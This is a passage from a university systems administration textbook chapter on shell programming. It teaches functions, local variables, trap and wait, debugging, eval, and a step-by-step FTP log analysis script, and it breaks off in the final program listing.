echo $BUFFER
read BUFFER
done | todos > tmp.$$
This code uses a non-standard command called todos. todos converts UNIX text
files to DOS textfiles by making the EOL (End-Of-Line) character equivalent to CR
(Carriage-Return) LF (Line-Feed). This code takes STDIN (until the user enters a
blank line) and pipes it into todos, which inturn converts it to a DOS style text file (
tmp.$$ ) . In all, a totally useless program, but it does demonstrate the possibilities
of piping.

Now for the really hard bits

Functional Functions
A symptom of most useable programming languages is the existence of functions.
Theoretically, functions provide the ability to break your code into reusable, logical
compartments that are the by product of top-down design. In practice, they vastly
improve the readability of shell programs, making it easier to modify and debug them.
An alternative to functions is the grouping of code into separate shell scripts and
calling these from your program. This isn't as efficient as functions, as functions are
executed in the same process that they were called from; however other shell

David Jones and Bruce Jamieson (2/20/25) Page 192

85321, Systems Administration Chapter 8: Shell Programming

programs are launched in a separate process space - this is inefficient on memory and
CPU resources.
You may have noticed that our scanit program has grown to around 30 lines of
code. While this is quite manageable, we will make some major changes later that
really require the "modular" approach of functions.

David Jones and Bruce Jamieson (2/20/25) Page 193

 85321, Systems Administration Chapter 8: Shell Programming

Shell functions are declared as:

function_name()
{
somecommands
}
Functions are called by:

function_name parameter_list
YES! Shell functions support parameters. $1 to $9 represent the first nine
parameters passed to the function and $* represents the entire parameter list. The
value of $0 isn't changed. For example:

#!/bin/bash
# FILE: catfiles

catfile()
{
for file in $*
do
cat $file
done
}

FILELIST=`ls $1`
cd $1

catfile $FILELIST
This is a highly useless example (cat * would do the same thing) but you can see
how the "main" program calls the function.

local

Shell functions also support the concept of declaring "local" variables. The local
command is used to do this. For example:

#!/bin/bash

testvars()
{
local localX="testvars localX"
X="testvars X"
local GlobalX="testvars GlobalX"
echo "testvars: localX= $localX X= $X GlobalX= $GlobalX"
}

X="Main X"
GlobalX="Main GLobalX"
echo "Main 1: localX= $localX X= $X GlobalX= $GlobalX"

David Jones and Bruce Jamieson (2/20/25) Page 194

 85321, Systems Administration Chapter 8: Shell Programming

testvars

echo "Main 2: localX= $localX X= $X GlobalX= $GlobalX"

The output looks like:
Main 1: localX= X= Main X GlobalX= Main GLobalX
testvars: localX= testvars localX X= testvars X GlobalX= testvars GlobalX
Main 2: localX= X= testvars X GlobalX= Main GLobalX

David Jones and Bruce Jamieson (2/20/25) Page 195

 85321, Systems Administration Chapter 8: Shell Programming

The return trip

After calling a shell function, the value of $? is set to the exit status of the last
command executed in the shell script. If you want to explicitly set this, you can use
the return command:

return n
(Where n is a number)
This allows for code like:

if function1
then
do_this
else
do_that
fi
For example, we can introduce our first function into our scanit program by placing
our datafile tests into a function:

#!/bin/bash
# FILE: scanit
#

check_data_files()
{
if [ -r netwatch -a -r netnasties ]
then
return 0
else
return 1
fi
}

# Main Program

if check_data_files
then
echo "Datafiles found"
else
echo "One of the datafiles missing - exiting"
exit 1
fi

# our other work...

Recursion: (see "Recursion")

Shell programming even supports recursion. Typically, recursion is used to process
tree-like data structures - the following example illustrates this:

David Jones and Bruce Jamieson (2/20/25) Page 196

 85321, Systems Administration Chapter 8: Shell Programming

#!/bin/bash
# FILE: wctree

wcfiles()
{
local BASEDIR=$1 # Set the local base directory
local LOCALDIR=`pwd` # Where are we?
cd $BASEDIR # Go to this directory (down)
local filelist=`ls` # Get the files in this directory
for file in $filelist
do
if [ -d $file ] # If we are a directory, recurs
then
# we are a directory
wcfiles "$BASEDIR/$file"
else
fc=`wc -w < $file` # do word count and echo info
echo "$BASEDIR/$file $fc words"
fi
done
cd $LOCALDIR # Go back up to the calling directory
}

if [ $1 ] # Default to . if no parms
then
wcfile $1
else
wcfile "."
fi

Exercise

8.12 What does the wctree program do? Why are certain variables declared as
local? What would happen if they were not? Modify the program so it
will only "recurs" 3 times.

EXTENSION: There is actually a UNIX command that will do the same

thing as this shell script - what is it? What would be the command line?
(Hint: man find)

wait'ing and trap'ing

So far we have only examined linear, single process shell script examples. What if
you want to have more than one action occurring at once? As you are aware, it is
possible to launch programs to run in the background by placing an ampersand behind
the command, for example:

runcommand &

David Jones and Bruce Jamieson (2/20/25) Page 197

 85321, Systems Administration Chapter 8: Shell Programming

You can also do this in your shell programs. It is occasionally useful to send a time
consuming task to the background and proceed with your processing. An example of
this would be a sort on a large file:

sort $largefile > $newfile &

do_a_function
do_another_funtion $newfile
The problem is, what if the sort hadn't finished by the time you wanted to use
$newfile? The shell handles this by providing wait :

sort $largefile > $newfile &

do_a_function
wait
do_another_funtion $newfile
When wait is encountered, processing stops and "waits" until the child process
returns, then proceeds on with the program. But what if you had launched several
processes in the background? The shell provides the shell variable $! (the PID of the
child process launched) which can be given as a parameter to wait - effectively saying
"wait for this PID". For example:

sort $largefile1 > $newfile1 &

SortPID1=$!
sort $largefile2 > $newfile2 &
SortPID2=$!
sort $largefile3 > $newfile3 &
SortPID3=$!
do_a_function
wait $SortPID1
do_another_funtion $newfile1
wait $SortPID2
do_another_funtion $newfile2
wait $SortPID3
do_another_funtion $newfile3
Another useful command is trap. trap works by associating a set of commands
with a signal from the operating system. You will probably be familiar with:

kill -9 PID
which is used to kill a process. This command is in fact sending the signal "9" to the
process given by PID. Available signals are shown in Table 8.7.
Signal Meaning
0 Exit from the shell
1 Hangup
2 Interrupt
3 Quit
4 Illegal Instruction
5 Trace trap
6 IOT instruction

David Jones and Bruce Jamieson (2/20/25) Page 198

 85321, Systems Administration Chapter 8: Shell Programming

7 EMT instruction
8 Floating point exception
10 Bus error
12 Bad argument
13 Pipe write error
14 Alarm
15 Software termination signal
Ta b l e 8 . 7
UNIX signals

(Taken from "UNIX Shell Programming" Kochan et al)

While you can't actually trap signal 9, you can trap the others. This is useful in shell
programs when you want to make sure your program exits gracefully in the event of a
shutdown (or some such event) (often you will want to remove temporary files the
program has created). The syntax of using trap is:

trap commands signals

For example:

trap "rm /tmp/temp.$$" 1 2

will trap signals 1 and 2 - whenever these signals occur, processing will be suspended
and the rm command will be executed.
You can also list every trap'ed signal by issuing the command:

trap
To "un-trap" a signal, you must issue the command:

trap "" signals

The following is a somewhat clumsy form of IPC (Inter-Process Communication) that
relies on trap and wait:
#!/bin/bash
# FILE: saymsg
# USAGE: saymsg <create number of children> [total number of
# children]

readmsg()
{
read line < $$ # read a line from the file given by the PID
echo "$ID - got $line!" # of my *this* process ($$)
if [ $CHILD ]
then
writemsg $line # if I have children, send them message
fi
}

writemsg()
{
echo $* > $CHILD # Write line to the file given by PID

David Jones and Bruce Jamieson (2/20/25) Page 199

 85321, Systems Administration Chapter 8: Shell Programming

kill -1 $CHILD # of my child. Then signal the child.

}

stop()
{
kill -15 $CHILD # tell my child to stop
if [ $CHILD ]
then
wait $CHILD # wait until they are dead
rm $CHILD # remove the message file
fi
exit 0
}

# Main Program

if [ $# -eq 1 ]
then
NUMCHILD=`expr $1 - 1`
saymsg $NUMCHILD $1 & # Launch another child
CHILD=$!
ID=0
touch $CHILD # Create empty message file
echo "I am the parent and have child $CHILD"
else
if [ $1 -ne 0 ] # Must I create children?
then
NUMCHILD=`expr $1 - 1` # Yep, deduct one from the number
saymsg $NUMCHILD $2 & # to be created, then launch them
CHILD=$!
ID=`expr $2 - $1`
touch $CHILD # Create empty message file
echo "I am $ID and have child $CHILD"
else
ID=`expr $2 - $1` # I don’t need to create children
echo "I am $ID and am the last child"
fi
fi

trap "readmsg" 1 # Trap the read signal

trap "stop" 15 # Trap the drop-dead signal

if [ $# -eq 1 ] # If I have one parameter,

then # then I am the parent - I just read
read BUFFER # STDIN and pass the message on
while [ "$BUFFER" ]
do
writemsg $BUFFER
read BUFFER
done
echo "Parent - Stopping"
stop

David Jones and Bruce Jamieson (2/20/25) Page 200

 85321, Systems Administration Chapter 8: Shell Programming

else # Else I am the child who does nothing -

while true # I am totally driven by signals.
do
true
done
fi

So what is happening here? It may help if you look at the output:

psyche:~/sanotesShell_Prompt: saymsg 3
I am the parent and have child 8090
I am 1 and have child 8094
I am 2 and have child 8109
I am 3 and am the last child
this is the first thing I type
1 - got this is the first thing I type!
2 - got this is the first thing I type!
3 - got this is the first thing I type!

Parent - Stopping

psyche:~/sanotesShell_Prompt:
Initially, the parent program starts, accepting a number of children to create. The
parent then launches another program, passing it the remaining number of children to
create and the total number of children. This happens on every launch of the program
until there are no more children to launch.
From this point onwards the program works rather like Chinese whispers - the parent
accepts a string from the user which it then passes to its child by sending a signal to
the child - the signal is caught by the child and readmsg is executed. The child
writes the message to the screen, then passes the message to its child (if it has one) by
signalling it and so on and so on. The messages are passed by being written to files -
the parent writes the message into a file named by the PID of the child process.
When the user enters a blank line, the parent process sends a signal to its child - the
signal is caught by the child and stop is executed. The child then sends a message
to its child to stop, and so on and so on down the line. The parent process can't exit
until all the children have exited.
This is a very contrived example - but it does show how processes (even at a shell
programming level) can communicate. It also demonstrates how you can give a
function name to trap (instead of a command set).

Exercise

8.13 saymsg is riddled with problems - there isn't any checking on the parent
process command line parameters (what if there wasn't any?) and it isn't very
well commented or written - make modifications to fix these problems. What

David Jones and Bruce Jamieson (2/20/25) Page 201

 85321, Systems Administration Chapter 8: Shell Programming

other problems can you see?

EXTENSION: Fundamentally saymsg isn't implementing very safe inter-

process communication - how could this be fixed? Remember, one of the
main problems concerning IPC is the race condition - could this happen?

Bugs and Debugging

If by now you have typed every example program in, completed every exercise and
have not encountered one single error then you are a truly amazing person. However,
if you are like me, you would have made at least 70 billion mistakes/ typos or TSE's
(totally stupid errors) - and now I tell you the easy way to find them!

Method 1 - set

Issuing the truly inspired command of:

set -x
within your program will do wonderful things. As your program executes, each code
line will be printed to the screen - that way you can find your mistakes, err, well, a
little bit quicker. Turning tracing off is a good idea once your program works - this is
done by:

set +x

David Jones and Bruce Jamieson (2/20/25) Page 202

 85321, Systems Administration Chapter 8: Shell Programming

Method 2 - echo

Placing a few echo statements in your code during your debugging is one of the
easiest ways to find errors - for the most part this will be the quickest way of detecting
if variables are being set correctly.

Very Common Mistakes

$VAR=`ls`
This should be VAR=`ls`. When setting the value of a shell variable you don't use
the $ sign.

read $BUFFER
The same thing here. When setting the value of a variable you don't use the $ sign.

VAR=`ls -al"
The second ` is missing

if [ $VAR ]
then
echo $VAR
fi
Haven't specified what is being tested here. Need to refer to the contents of Tables
8.2 through 8.5

if [ $VAR -eq $VAR2 ]

then
echo $VAR
fi
If $VAR and $VAR2 are strings then you can't use –eq to compare their values. You
need to use =.

if [ $VAR = $VAR2 ] then

echo $VAR
fi
The then must be on a separate line.

And now for the really really hard bits

Writing good shell programs

We have covered most of the theory involved with shell programming, but there is
more to shell programming than syntax. In this section, we will complete the
scanit program, examining efficiency and structure considerations.

David Jones and Bruce Jamieson (2/20/25) Page 203

 85321, Systems Administration Chapter 8: Shell Programming

scanit currently consists of one chunk of code with one small function. In its
current form, it doesn't meet the requirements specified:
"...you will produce a report of people accessing restricted sites, exactly which sites
and the number of times they visited them."
Our code, as it is, looks like:

#!/bin/bash
# FILE: scanit
#

check_data_files()
{
if [ -r netwatch -a -r netnasties ]
then
return 0
else
return 1
fi
}

# Main Program

if check_data_files
then
echo "Datafiles found"
else
echo "One of the datafiles missing - exiting"
exit 1
fi

for checkuser in $*
do
while read buffer
do
while read checksite
do
user=`echo $buffer | cut -d" " -f1`
site=`echo $buffer | cut -d" " -f2`
if [ "$user" = "$checkuser" -a "$site" = "$checksite" ]
then
echo "$user visited the prohibited site $site"
fi
done < netnasties
done < netwatch
done
At the moment, we simply print out the user and site combination - no count provided.
To be really effective, we should parse the file containing the user/site combinations
(netwatch), register and user/prohibited site combinations and then when we have
all the combinations and count per combination, produce a report. Given our datafile
checking function, the pseudo code might look like:

David Jones and Bruce Jamieson (2/20/25) Page 204

 85321, Systems Administration Chapter 8: Shell Programming

if data_files_exist
...
else
exit 1
fi
check_netwatch_file
produce_report
exit
It might also be an idea to build in a "default" - if no username(s) are given on the
command line, we go and get all the users from the /etc/passwd file:

f [ $1 ]
then
the_user_list=$*
else
get_passwd_users
fi

Exercise

8.14 Write the shell function get_passwd_users. This function goes through
the /etc/passwd file and creates a list of usernames. (Hint: username is
field one of the password file, the delimiter is ":")

eval the wonderful!

The use of eval is perhaps one of the more difficult concepts in shell programming
to grasp is the use of eval. eval effectively says “parse (or execute) the following
twice”. What this means is that any shell variables that appear in the string are
“substituted” with their real value on the first parse, then used as-they-are for the
second parse.
The use of this is difficult to explain without an example, so we’ll refer back to our
case study problem.
The real challenge to this program is how to actually store a count of the user and site
combination. The following is how I'd do it:
checkfile()
{
# Goes through the netwatch file and saves user/site
# combinations involving sites that are in the "restricted"
# list

while read buffer

do
username=`echo $buffer | cut -d" " -f1` # Get the username
# Remove “.”’s from the string
site=`echo $buffer | cut -d" " -f2 | sed s/\\\.//g`
for checksite in $badsites

David Jones and Bruce Jamieson (2/20/25) Page 205

 85321, Systems Administration Chapter 8: Shell Programming

do
checksite=`echo $checksite | sed s/\\\.//g`
# Do this for the compare sites
if [ "$site" = "$checksite" ]
then
usersite="$username$checksite"
# Does the VARIABLE called $usersite exist? Note use of eval
if eval [ \$$usersite ]
then
eval $usersite=\`expr \$$usersite + 1\`
else
eval $usersite=1
fi
fi
done
done < netwatch
}
There are only two really tricky lines in this function:

1. site=`echo $buffer | cut -d" " -f2 | sed s/\\\.//g`

Creates a variable site; if buffer (one line of netwatch) contained

rabid.dog.com
then site would become:

rabiddogcom
The reason for this is because of the variable usersite:

usersite="$username$checksite"
What we are actually creating is a variable name, stored in the variable usersite - why
(you still ask) did we remove the "."'s? This becomes clearer when we examine the
second tricky line:

2. eval $usersite=\`expr \$$usersite + 1\`

Remember eval "double" or "pre" parses a line - after eval has been run, you get a line
which looks something like:

# $user="jamiesobrabiddogcom"
jamiesobrabiddogcom=`expr $jamiesobrabiddogcom + 1`
What should become clearer is this: the function reads each line of the netwatch
file. If the site in the netwatch file matches one of the sites stored in
netnasties file (which has been cat'ed into the variable badsites) then we store
the user/site combination. We do this by first checking if there exists a variable by
the name of the user/site combination - if one does exist, we add 1 to the value stored
in the variable. If there wasn't a variable with the name of the user/site combination,
then we create one by assigning it to "1".
At the end of the function, we should have variables in memory for all the
user/prohibited site combinations found in the netwatch file, something like:

David Jones and Bruce Jamieson (2/20/25) Page 206

 85321, Systems Administration Chapter 8: Shell Programming

jamiesobmucusslimecom=3
tonsloyemucusslimecom=1
tonsloyeboysfunnetcomfr=3
tonsloyewarezundergr=1
rootwarzundergr=4
Note that this would be the case even if we were only interested in the users root and
jamiesob. So why didn't we check in the function if the user in the netwatch file
was one of the users we were interested in? Why should we!? All that does is adds
an extra loop:

for every line in the file

for every site
for every user
do check
create variable if user and if site in userlist,
badsitelist
whereas all we have now is

for every line in the file

for every site
create variable if site in badsitelist
We are still going to have to go through every user/badsite combination anyway when
we produce the report - why add the extra complexity?
You might also note that there is minimal file IO - datafiles are only read ONCE - lists
(memory structures) may be read more than once.

Exercise

8.15 Given the checksite function, write a function called produce_report

that accepts a list of usernames and finds all user/badsite combinations stored
by checkfile. This function should echo lines that look something like:

jamiesob: mucus.slime.com 3
tonsloye: mucus.slime.com 1
tonsloye: xboys.funnet.com.fr 3
tonsloye: warez.under.gr 1

Step-by-step
In this section, we will examine a complex shell programming problem and work our
way through the solution.

The problem
This problem is an adaptation of the problem used in the 1997 shell programming
assignment for systems administration:

David Jones and Bruce Jamieson (2/20/25) Page 207

 85321, Systems Administration Chapter 8: Shell Programming

Problem Definition
Your department’s FTP server provides anonymous FTP access to the /pub area of
the filesystem - this area contains subdirectories (given by unit code) which contain
resource materials for the various subjects offered. You suspect that this service isn’t
being used any more with the advent of the WWW, however, before you close this
service and use the file space for something more useful, you need to prove this.
What you require is a program that will parse the FTP logfile and produce usage
statistics on a given subject. This should include:
 Number of accesses per user
 Number of bytes transferred
 The number of machines which have used the area.
The program will probably be called from other scripts. It should accept (from the
command line) the subject (given by the subject code) that it is to examine, followed
by one or more commands. Valid commands will consist of:
 USERS - get a user and access count listing
 BYTES - bytes transmitted for the subject
 HOSTS - number of unique machines who have used the area

Background information
A cut down version of the FTP log will be examined by our program - it will consist
of:

remote host name

file size in bytes
name of file
local username or, if guest, ID string given (anonymous FTP password)
For example:
aardvark.com 2345 /pub/85349/lectures.tar.gz [email protected]
138.77.8.8 112 /pub/81120/cpu.gif [email protected]
The FTP logfile will be called /var/log/ftp.log - we need not concern
ourselves how it is produced (for those that are interested - look at man ftpd for a
description of the real log file).
Anonymous FTP “usernames” are recorded as whatever the user types in as the
password - while this may not be accurate, it is all we have to go on.
We can assume that all directories containing subject material branch off the /pub
directory, eg.

/pub/85321
/pub/81120

Expected interaction

David Jones and Bruce Jamieson (2/20/25) Page 208

 85321, Systems Administration Chapter 8: Shell Programming

The following are examples of interaction with the program (scanlog):

Shell_Prompt: scanlog 85321 USERS

[email protected] 1
[email protected] 22
jonesd 56

Shell_Prompt: scanlog 85321 BYTES

2322323

Shell_Prompt: scanlog 85321 HOSTS

5

Shell_Prompt: scanlog 85321 BYTES USERS

2322323
[email protected] 1
[email protected] 22
jonesd 56

David Jones and Bruce Jamieson (2/20/25) Page 209

 85321, Systems Administration Chapter 8: Shell Programming

Solving the problem

How would you solve this problem? What would you do first?

Break it up
What does the program have to do? What are its major parts? Let’s look at the
functionality again - our program must:
 get a user and access count listing
 produce a the byte count on files transmitted for the subject
 list the number unique machines who have used the area and how many times
To do this, our program must first:
 Read parameters from the command line, picking out the subject we are interested
in
 go through the other parameters one by one, acting on each one, calling the
appropriate function
 Terminate/clean up
So, this looks like a program containing three functions. Or is it?

Look at the simple case first

It is often easier to break down a problem by walking through a simple case first.
Lets imagine that we want to get information about a subject - let’s use the code
85321. At this stage, we really don’t care what the action is. What happens?
The program starts.
 We extract the first parameter from the command line. This is our subject. We
might want to check if there is a first parameter - is it blank?
 Since we are only interested in this subject, we might want to go through the FTP
log file and extract those entries we’re interested in and keep this information in a
temporary file. Our other option is to do this for every different “action” - this
would probably be inefficient.
 Now, we want to go through the remaining parameters on the command line and
act on each one. Maybe we should signal a error if we don’t understand the
action?
 At the end of our program, we should remove any temporary files we use.

Pseudo Code
If we were to pseudo code the above steps, we’d get something like:
# Check to see if the first parameter is blank
if first_parameter = ""

David Jones and Bruce Jamieson (2/20/25) Page 210

 85321, Systems Administration Chapter 8: Shell Programming

then
echo "No unit specified"
exit
fi

# Find all the entries we're interested in, place this in a TEMPFILE

# Right - for every other parameter on the command line, we perform

# some
for ACTION in other_parameters
do
# Decide if it is a valid action - act on it or give a error
done

# Remove Temp file

rm TEMPFILE

Let’s code this:

if [ "$1" = "" ]
then
echo "No unit specified"
exit 1
fi

# Remove $1 from the parm line

UNIT=$1
shift

# Find all the entries we're interested in

grep "/pub/$UNIT" $LOGFILE > $TEMPFILE

# Right - for every other parameter on the command line, we perform some
for ACTION in $@
do
process_action "$ACTION"
done

# Remove Temp file

rm $TEMPFILE
Ok, a few points to note:
 Notice the use of the variables LOGFILE and TEMPFILE? These would have to
be defined somewhere above the code segment.
 We remove the first parameter from the command line and assign it to another
variable. We do this using the shift command.
 We use grep to find all the entries in the original log file that refer to the subject
we are interested in. We store these entries in a temporary file.
 The use of $@ in the loop to process the remaining parameters is important. Why
did we use it? Why not $* ? Hint: “1 2 3 4 5 6” isn’t “1” “2” “3” “4” “5” “6”
is it?

David Jones and Bruce Jamieson (2/20/25) Page 211

 85321, Systems Administration Chapter 8: Shell Programming

 We’ve invented a new function, process_action - we will use this to work

out what to do with each action. Note that we are passing the function a
parameter. Why are we enclosing it in quotes? Does it matter if we don’t?
Actually, in this case, it doesn’t matter if we call the function with the parameter in
quotes or not, as our parameters are expected to be single words. However, what
if we allowed commands like:

find host 138.77.3.4

If we passed this string to a function (without quotes), it would be interpreted as:

$1=“find” $2=“host” $3=“138.77.3.4”

This wouldn’t be entirely what we want - so, we enclose the string in quotes -
producing:

$1=“find host 138.77.3.4”

As we mentioned, in this case, we have single word commands, so it doesn’t

matter, however, always try to look ahead for problems - ask yourself the
figurative question - “Is my code going to work in the rain?”.

Expand function process_action

We have a function to work on - process_action. Again, we should pseudo

code it, then implement it. Wait! We haven’t first thought about what we want it to
do - always a good idea to think before you code!
This function must take a parameter, determine if it is a valid action, then perform
some action on it. It is an invalid action, then we should signal an error.
Let’s try the pseudo code first:

process_action()
{

# Now, Check what we have

case Action in
BYTES then do a function to get bytes
USERS then do a function to get a user list
HOSTS then do a function to get an access count
Something Else then echo "Unknown command $theAction"
esac

}
Right - now try the code:

David Jones and Bruce Jamieson (2/20/25) Page 212

 85321, Systems Administration Chapter 8: Shell Programming

process_action()
{
# Translate to upper case
theAction=`echo $1 | tr [a-z] [A-Z]`

# Now, Check what we have

case $theAction in
USERS) getUserList ;;
HOSTS) getAccessCount ;;
BYTES) getBytes ;;
*) echo "Unknown command $theAction" ;;
esac

}
Some comments on this code:
 Note that we translate the “action command” (for example “bytes” , “users”) into
upper case. This is a nicety - it just means that we’ll pick up every typing
variation of the action.
 We use the case command to decide what to do with the action. We could have
just as easily used a series of IF-THEN-ELSE-ELIF-FI statements - this
becomes horrendous to code and read after about three conditions so case is a
better option.
 As you will see, we’ve introduced calls to functions for each command - this again
breaks to code up into bite size pieces (excuse the pun ;) to code. This follows the
top-down design style.
 We will now expand each function.

Expand Function getUserList

Now might be a good time to revise what was required of our program - in particular,
this function.
We need to produce a listing of all the people who have accessed files relating to the
subject of interest and how many times they’ve accessed files.
Because we’ve separated out the entries of interest from the log file, we need no
longer concern ourselves with the actual files and if they relate to the subject. We
now are just interested in the users.
Reviewing the log file format:
aardvark.com 2345 /pub/85349/lectures.tar.gz [email protected]
138.77.8.8 112 /pub/81120/cpu.gif [email protected]

We see that user information is stored in the fourth field. If we pseudo code what we
want to do, it would look something like:

for every_user_in the file

do
go_through_the_file_and_count_occurences

David Jones and Bruce Jamieson (2/20/25) Page 213

 85321, Systems Administration Chapter 8: Shell Programming

print this out

done
Expanding this a bit more, we get:

extract_users_from_file
for user in user_list
do
count = 0
while read log_file
do
if user = current_entry
then
count = count + 1
fi
done
echo user count
done
Let’s code this:

getUserList()
{
cut -f4 $TEMPFILE | sort > $TEMPFILE.users
userList=`uniq $TEMPFILE.users`

for user in $userList

do
{
count=0
while read X
do
if echo $X | grep $user > /dev/null
then
count=`expr $count + 1`
fi
done
} < $TEMPFILE
echo $user $count
done

rm $TEMPFILE.users
}
Some points about this code:
 The first cut extracts a user list and places it in a temp file. A unique list of users
is then created and placed into a variable.
 For every user in the list, the file is read through and each line searched for the
user string. We pipe the output into /dev/null.
 If a match is made, count is incremented.
 Finally the user/count combination is printed.
 The temporary file is deleted.
Unfortunately, this code totally sucks. Why?

David Jones and Bruce Jamieson (2/20/25) Page 214

 85321, Systems Administration Chapter 8: Shell Programming

There are several things wrong with the code, but the most outstanding problem is the
massive and useless looping being performed - the while loop reads through the file
for every user. This is bad. While loops within shell scripts are very time
consuming and inefficient - they are generally avoided if, as in this case, they can be.
More importantly, this script doesn’t make use of UNIX commands which could
simplify (and speed up!) our code. Remember: don’t re-invent the wheel - use
existing utilities where possible.
Let’s try it again, this time without the while loop:
getUserList()
{
cut -f4 $TEMPFILE | sort > $TEMPFILE.users # Get user list
userList=`uniq $TEMPFILE.users`

for user in $userList # for every user...

do
count=`grep $user $TEMPFILE.users | wc -l` # count how many times they are
echo $user $count # in the file
done

rm $TEMPFILE.users
}
Much better! We’ve replaced the while loop with a simple grep command - however,
there are still problems:
We don’t need the temporary file
Can we wipe out a few more steps?
Next cut:

getUserList()
{
userList=`cut -f4 $TEMPFILE | sort | uniq`

for user in $userList

do
echo $user `grep $user $TEMPFILE | wc -l`
done
}
Beautiful!
Or is it.
What about:

echo `cut-f4 $TEMPFILE | sort | uniq -c`

This does the same thing...or does it? If we didn’t care what our output looked like,
then this’d be ok - find out what’s wrong with this code by trying it and the previous
segment - compare the results. Hint: uniq -c produces a count of every
sequential occurrence of an item in a list. What would happen if we removed the
sort? How could we fix our output “problem”?

David Jones and Bruce Jamieson (2/20/25) Page 215

 85321, Systems Administration Chapter 8: Shell Programming

Expand Function getAccessCount

This function requires a the total number of unique hosts which have accessed the
files. Again, as we’ve already separated out the entries of interest into a temporary
file, we can just concentrate on the hosts field (field number one).
If we were to pseudo code this:

create_unique_host list
count = 0
for host in host_list
do
count = count + 1
done
echo count
From the previous function, we can see that a direct translation from pseudo code to
shell isn’t always efficient. Could we skip a few steps and try the efficient code first?
Remember - we should try to use existing UNIX commands.
How do we create a unique list? The hint is in the word unique - the uniq command
is useful in extracting unique listings.
What are we going to use as the input to the uniq command? We want a list of all
hosts that accessed the files - the host is stored in the first field of every line in the file.
Next hint - when we see the word “field” we can immediately assume we’re going to
use the cut command. Do we have to give cut any parameters? In this case, no.
cut assumes (by default) that fields are separated by tabs - in our case, this is true.
However, if the delimiter was anything else, we’d have to use a “-d” switch, followed
by the delimiter.
Next step - what about the output from uniq? Where does this go? We said that we
wanted a count of the unique hosts - another hint - counting usually means using the
wc command. The wc command (or word count command) counts characters, words
and lines. If the output from the uniq command was one host per line, then a count
of the lines would reveal the number of unique hosts.
So what do we have?

cut –f1
uniq
wc -l
Right - how do we get input and save output for each command?
A first cut approach might be:

cat $TEMPFILE | cut -f1 > $TEMPFILE.cut

cat $TEMPFILE.cut | uniq > $TEMPFILE.uniq
COUNT=`cat $TEMPFILE.uniq | wc -l`
echo $COUNT
This is very inefficient; there are several reasons for this:

David Jones and Bruce Jamieson (2/20/25) Page 216

 85321, Systems Administration Chapter 8: Shell Programming

 We cat a file THREE times to get the count. We don’t even have to use cat if we
really try.
 We use temp files to store results - we could use a shell variable (as in the second
last line) but is there any need for this? Remember, file IO is much slower than
assignments to variables, which, depending on the situation, is slower again that
using pipes.
 There are four lines of code - this can be completed in one!
So, removing these problems, we are left with:

getAccessCount()
{
echo `cut -f1 $TEMPFILE | uniq | wc -l`
}
How does this work?
 The shell executes what’s between `` and this is output’ed by echo.
 This command starts with the cut command - a common misconception is that
cut requires input to be piped into it - however, cut works just as well by
accepting the name of a file to work with. The output from cut (a list of hosts) is
piped into uniq.
 uniq then removes all duplicate host from the list - this is piped into wc.
 wc then counts the number of lines - the output is displayed.

Expand Function getBytes

The final function we have to write (Yes! We are nearly finished) counts the total
byte count of the files that have been accessed. This is actually a fairly simple thing
to do, but as you’ll see, using shell scripting to do this can be very inefficient.
First, some pseudo code:

total = 0
while read line from file
do
extract the byte field
add this to the total
done
echo total
In shell, this looks something like:

getBytes()
{
bytes=0
while read X
do
bytefield=`echo $X | cut -f2`
bytes=`expr $bytes + $bytefield`
done < $TEMPFILE

David Jones and Bruce Jamieson (2/20/25) Page 217

 85321, Systems Administration Chapter 8: Shell Programming

echo $bytes
}
...which is very inefficient (remember: looping is bad!). In this case, every iteration
of the loop causes three new processes to be created, two for the first line, one for the
second - creating processes takes time!
The following is a bit better:

getBytes()
{
list=`cut -f2 $TEMPFILE `
bytes=0
for number in $list
do
bytes=`expr $bytes + $number`
done

echo $bytes
}
The above segment of code still has looping, but is more efficient with the use of a list
of values which must be added up. However, we can get smarter:

getBytes()
{
numstr=`cut -f2 $TEMPFILE | sed "s/$/ + /g"`
expr $numstr 0
}
Do you see what we’ve done? The cut operation produces a list of numbers, one per
line. When this is piped into sed, the end-of-line is substituted with
“ + “ - note the spaces. This is then combined into a single line string and stored
in the variable numstr. We then get the expr of this string - why do we put the 0
on the end?
Two reasons:
After the sed operation, there is an extra “+” on the end - for example, if the input
was:

2
3
4

The output would be:

2 +
3 +
4 +

This, when placed in a shell variable, looks like:

David Jones and Bruce Jamieson (2/20/25) Page 218

 85321, Systems Administration Chapter 8: Shell Programming

2 + 3 + 4 +

...which when evaluated, gives an error. Thus, placing a 0 at the end of the string
matches the final “+” sign, and expr is happy
What if there wasn’t a byte count? What if there were no entries - expr without
parameters doesn’t work - expr with 0 does.
So, is this the most efficient code?
Within the shell, yes. Probably the most efficient code would be a call to awk and
the use of some awk scripting, however that is beyond the scope of this chapter and
should be examined as a personal exercise.

A final note about the variables

Throughout this exercise, we’ve referred to $TEMPFILE and $LOGFILE. These
variables should be set at the top of the shell script. LOGFILE refers to the location
of the FTP log. TEMPFILE is the actual file used to store the entries of interest.
This must be a unique file and should be deleted at the end of the script. It’d be an
excellent idea to store this file in the /tmp directory (just in case your script dies and
you leave the temp file laying around - /tmp is regularly cleaned out by the system) -
it would be an even better idea to guarantee its uniqueness by including the process ID
($$) somewhere within its name:

LOGFILE="/var/log/ftp.log"
TEMPFILE="/tmp/scanlog.$$"

The final program - a listing

The following is the completed shell script - notice how short the code is (think of
what it would be like if we hadn’t been pushing for efficiency!).

#!/bin/sh
#
# FILE: scanlog
# PURPOSE: Scan FTP log
# AUTHOR: Bruce Jamieson
# HISTORY: DEC 1997 Created
#
# To do : Truly astounding things.
# Apart from that, process a FTP log and produce stats

#--------------------------
# globals

LOGFILE="ftp.log"

David Jones and Bruce Jamieson (2/20/25) Page 219

 85321, Systems Administration Chapter 8: Shell Programming

TEMPFILE="/tmp/scanlog.$$"

# functions

#----------------------------------------
# getAccessCount
# - display number of unique machines that have accessed the page

getAccessCount()
{
echo `cut -f1 $TEMPFILE | uniq | wc -l`
}

#-------------------------------------------------------
# getUserList
# - display the list of users who have acessed this page

getUserList()
{
userList=`cut -f4 $TEMPFILE | sort | uniq`

for user in $userList

do
echo $user `grep $user $TEMPFILE | wc -l`
done

#-------------------------------------------------------
# getBytes
# - calculate the amount of bytes transferred

getBytes()
{
numstr=`cut -f2 $TEMPFILE | sed "s/$/ + /g"`
expr $numstr 0
}

#------------------------------------------------------
# process_action
# Based on the passed string, calls one of three functions
#

process_action()
{
# Translate to upper case
theAction=`echo $1 | tr [a-z] [A-Z]`

# Now, Check what we have

case $theAction in
BYTES) getBytes ;;

David Jones and Bruce Jamieson (2/20/25) Page 220

 85321, Systems Administration Chapter 8: Shell Programming

